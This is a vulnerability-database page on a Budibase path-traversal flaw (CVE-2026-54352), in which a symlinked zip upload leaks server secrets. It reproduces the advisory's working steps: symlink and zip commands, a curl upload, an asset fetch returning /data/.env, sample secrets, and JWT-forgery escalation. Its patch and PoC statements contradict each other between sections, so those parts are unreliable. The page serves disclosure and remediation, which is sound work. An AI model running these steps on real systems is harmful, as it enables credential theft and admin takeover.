Skip to main content

Budibase CVE-2026-54352

| EUVDEUVD-2026-39910 CRITICAL
Path Traversal (CWE-22)
2026-06-22 https://github.com/Budibase/budibase GHSA-w7mq-r738-x278
9.6
CVSS 3.1 · Vendor: https://github.com/Budibase/budibase
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain workspace-builder account on self-hosted instance
  2. Delivery
    Craft zip with symlink to /data/.env plus icons.json
  3. Exploit
    POST to /api/pwa/process-zip with CSRF token
  4. Install
    extract-zip preserves symlink, validator follows it
  5. C2
    Server streams target file bytes into MinIO
  6. Execute
    GET /api/assets/.../pwa/{uuid}.png returns secrets
  7. Impact
    Forge HS256 admin JWT with leaked JWT_SECRET for tenant takeover

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires an authenticated workspace-builder account on a self-hosted Budibase instance - the /api/pwa/process-zip endpoint is gated by authorized(BUILDER) and is unreachable to anonymous users or end-app viewers. The target deployment must be self-hosted (managed Budibase cloud is explicitly not affected because its filesystem root is sandboxed). Sensitive-file disclosure to /etc/shadow or arbitrary root-readable paths additionally requires the default single-container Docker image where the Node server runs as root; in custom hardened deployments running the server as an unprivileged user, the read primitive is limited to files that user can open. No user interaction is required beyond the attacker's own upload, and no non-default configuration is needed - the vulnerable code path is the shipped default.

Impact

The vendor-assigned CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N scores 9.6 and is internally consistent: network-reachable, low complexity, requires only a low-privileged workspace builder account, scope-changing because the leaked JWT_SECRET enables forging tokens for the global admin (crossing a trust boundary). Integrity is rated High because of that JWT-forge escalation path, not because the primitive itself writes files. EPSS and CISA KEV status are not present in the supplied data, so exploitation probability and active-exploitation status cannot be quantified from intelligence sources - however, a fully working PoC is embedded in the public GHSA advisory, which materially raises practical risk for any exposed self-hosted instance. The condition requires a workspace-builder account is a real limiter, but on many internal Budibase deployments that role is granted liberally. The 'A:N' (no availability impact) is accurate for the read primitive but understates downstream damage once admin JWTs are forged.

Exploit ScenarioDerived

An attacker holding a low-privilege workspace-builder account on a self-hosted Budibase instance crafts a zip containing evil.png as a symlink to /data/.env plus an icons.json referencing evil.png, then POSTs it to /api/pwa/process-zip. The server extracts the symlink intact, the icon validator confirms the resolved path is inside baseDir and existsSync follows the symlink to confirm the target, and the MinIO uploader opens and streams the real /data/.env contents into an asset object. The attacker fetches the resulting /api/assets/{appId}/pwa/{uuid}.png, parses the leaked JWT_SECRET, forges an HS256 JWT for the global admin account, and pivots to full tenant takeover - including cross-tenant on multi-tenant installs. A complete working PoC is published in the GHSA advisory.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 23, 2026

Arbitrary file read in Budibase self-hosted server (@budibase/server <= 3.39.0) allows an authenticated workspace builder to exfiltrate any file readable by the server process by uploading a crafted PWA zip containing a symlink entry. Because the default budibase/budibase:latest Docker image runs Node as root, attackers can retrieve /data/.env (JWT_SECRET, INTERNAL_API_KEY, MinIO/Redis/CouchDB credentials, DATABASE_URL) and even /etc/shadow, enabling JWT forgery and full global-admin takeover. Publicly available exploit code exists - a complete working PoC is published in the GHSA advisory - though there is no public exploit identified at time of analysis beyond that disclosure write-up.

RemediationAI

Vendor-released patch: upgrade @budibase/server to 3.39.9 or later per GHSA-w7mq-r738-x278 (https://github.com/Budibase/budibase/security/advisories/GHSA-w7mq-r738-x278); for the single-container Docker deployment, pull a budibase/budibase image built from 3.39.9+. If immediate patching is not possible, audit and minimize accounts holding the BUILDER workspace permission since that role alone is sufficient to exploit, and consider blocking or reverse-proxy-filtering POST /api/pwa/process-zip until upgrade (trade-off: breaks legitimate PWA icon uploads). As a defense-in-depth measure, rebuild the container image so the Node process runs as a non-root user with no read access to /data/.env or /etc/shadow (trade-off: requires adjusting file ownership for the data volume and may break first-run bootstrap that writes to /data/.env). After upgrade, rotate every secret previously stored in /data/.env - JWT_SECRET, INTERNAL_API_KEY, MINIO_ACCESS_KEY/SECRET_KEY, REDIS_PASSWORD, COUCHDB_PASSWORD, LITELLM_MASTER_KEY, DATABASE_URL - because any prior builder could have already exfiltrated them.

Affected VersionsENISA

budibase < 3.39.9

Affected Packages

npm @budibase/server fix: 3.39.9
euvd budibase fix: 3.39.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw is a CWE-22 path-traversal-via-symlink in the PWA icon-processing pipeline. POST /api/pwa/process-zip uses extract-zip@2.0.1, which preserves absolute symlink targets when restoring symlink entries in zip archives. The icon-source validator in packages/server/src/api/controllers/static/index.ts:259-268 resolves the path string against baseDir, performs a resolvedSrc.startsWith(baseDir + path.sep) containment check, and calls fs.existsSync() - all three operate on the string path or follow symlinks transparently rather than detecting the symlink entry itself (e.g. via fs.lstat). Downstream, packages/backend-core/src/objectStore/objectStore.ts:302 calls (await fsp.open(path)).createReadStream(), which follows the symlink and streams the target file into MinIO; the bytes are then served verbatim via GET /api/assets/{appId}/pwa/{uuid}.{ext}. Affected package per CPE: pkg:npm/@budibase/server.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/Budibase/budibase) PRIMARY 9.6 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
vuln.today AI 9.6 CRITICAL

Network endpoint, low-complexity symlink trick, requires only a BUILDER account (PR:L); scope changes via JWT_SECRET leak enabling admin forge - I:H justified by that escalation, A:N as no availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (https://github.com/Budibase/budibase).

CVSS VectorVendor: https://github.com/Budibase/budibase

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

POST /api/pwa/process-zip at packages/server/src/api/routes/static.ts:24 accepts a builder-uploaded .zip, extracts it with extract-zip@2.0.1 into a temp directory, then for each entry listed in icons.json validates the icon path, opens it, and streams the bytes into MinIO. The resulting object is served back via GET /api/assets/{appId}/pwa/{uuid}.png.

extract-zip@2.0.1 preserves absolute symlink targets when restoring symlink entries. The icon-source validator at packages/server/src/api/controllers/static/index.ts:259-268 resolves the icon source string against baseDir (path.resolve), checks resolvedSrc.startsWith(baseDir + path.sep) against that string, and calls fs.existsSync(resolvedSrc) which follows symbolic links to confirm the target exists. None of the three calls reject symbolic-link entries, so an entry stored at baseDir/evil.png but pointing at /data/.env passes the gate.

packages/backend-core/src/objectStore/objectStore.ts:302 then calls (await fsp.open(path)).createReadStream() on the resolved path. fsp.open follows the symlink, the target file's bytes stream into MinIO, and the response of the asset-fetch endpoint returns those bytes verbatim.

Result: a workspace-level builder reads any file the server process can open (root inside the default Docker image, including /data/.env with JWT_SECRET, INTERNAL_API_KEY, MINIO_*, REDIS_PASSWORD, COUCHDB_PASSWORD, DATABASE_URL) by uploading one crafted PWA zip.

Affected

Budibase/budibase server, @budibase/server package, <= 3.39.0 (HEAD feab995, released 2026-05-20).

Reachable in stock self-hosted deployments. The default budibase/budibase:latest Docker image runs the Node server as root inside the container; the server process opens /etc/passwd, /etc/shadow, /data/.env, and every other root-readable file. Reachable from any account with the workspace-builder permission on at least one app.

Not affected: managed cloud-hosted Budibase tenants where the file-system root is sandboxed away from secret material.

Root cause

packages/server/src/api/routes/static.ts:24: .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) exposes the endpoint to any workspace builder; the only permission required is BUILDER.

packages/server/src/api/controllers/static/index.ts:235: await extract(filePath, { dir: tempDir }) calls extract-zip@2.0.1, which preserves absolute symlink targets when restoring symlink entries.

packages/server/src/api/controllers/static/index.ts:259-268: the icon validator (path.resolve + resolvedSrc.startsWith(baseDir + path.sep) + fs.existsSync) operates on the resolved string path and on fs.existsSync (which follows symbolic links). A symlink stored under baseDir whose target points anywhere reachable by the server passes the gate as long as the target exists.

packages/backend-core/src/objectStore/objectStore.ts:302: (await fsp.open(path)).createReadStream() follows the symlink and streams the target file's bytes; the object lands in MinIO under {appId}/pwa/{uuid}{extension} and is served by GET /api/assets/{appId}/pwa/{uuid}.{ext} (packages/server/src/api/routes/static.ts:21).

hosting/single/Dockerfile: the production single-container image runs the Node server as root, so the read primitive reaches /etc/shadow, /data/.env, and every other root-readable path.

Reproduction

budibase/budibase:latest (v3.39.0) Docker single-container on localhost:10000, default config, with any workspace builder logged in. Cookie jar and <CSRF> token come from GET /api/global/self.

  1. Builder uploads a zip containing one symlink entry that targets /data/.env, plus an icons.json that references the symlink.
bash
mkdir attack && cd attack
ln -s /data/.env evil.png
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
zip -y attack.zip icons.json evil.png

curl -s "http://localhost:10000/api/pwa/process-zip" \
  -b cookies.txt \
  -H "x-budibase-app-id: <appId>" \
  -H "x-csrf-token: <CSRF>" \
  -F "file=@attack.zip"
json
{"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]}
  1. Builder fetches the resulting "icon".
http
GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG>
COUCHDB_USER=admin
COUCHDB_PASSWORD=admin
MINIO_ACCESS_KEY=bd501fa31bf44a7e8beb6f7b628c6def
MINIO_SECRET_KEY=bf754d8f29434fc997225e10f55de778
INTERNAL_API_KEY=e9580f58b18b4371868aa3442c57522c
JWT_SECRET=c5441dc903f845bdb93a98b949a612b2
REDIS_PASSWORD=50739fb539504149a5fd85c85fe6750c
DATABASE_URL=postgresql://llmproxy:...@127.0.0.1:5432/litellm

Live-verified: the response body of the asset-fetch endpoint is byte-identical to docker exec budibase cat /data/.env; /etc/passwd and /etc/shadow extract via the same primitive when their permissions allow root reads.

Impact

  • Disclosure of /data/.env: JWT_SECRET, INTERNAL_API_KEY, MINIO_ACCESS_KEY, MINIO_SECRET_KEY, REDIS_PASSWORD, COUCHDB_PASSWORD, LITELLM_MASTER_KEY, DATABASE_URL.
  • HS256 JWT forge with the leaked JWT_SECRET against any user id, including the global admin: scope-changing escalation from workspace-builder to global-admin.
  • Cross-tenant exposure on multi-tenant installs once the global-admin forge succeeds.
  • Disclosure of /etc/passwd and /etc/shadow via the same primitive when the container runs as root (the shipped default).

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de).

Executive ViewAI

Why It Matters

Budibase self-hosted installations (≤3.39.0) face immediate risk of complete administrative takeover through credential theft by authorized workspace builders, compromising database access, API keys, and JWT authentication systems. Standard Docker deployments running as root are particularly vulnerable to exfiltration of all sensitive configuration data.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Redeploy Budibase containers using unprivileged user instead of root to restrict file system access; (2) restrict workspace builder role to absolutely essential, trusted personnel; (3) isolate Budibase server network segment with strict egress filtering; (4) enable comprehensive audit logging and establish monitoring for abnormal file access; (5) if workspace builder role has been assigned to external users, immediately rotate .env secrets. Maintain vigilance for 3.39.1+ patch release.

Threat Intelligence Overview

EPSS Score
0.5%
Top 63% exploitable
Prevalence
Medium
popular open-source low-code platform, common in self-hosted internal tooling
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

48
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +48
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy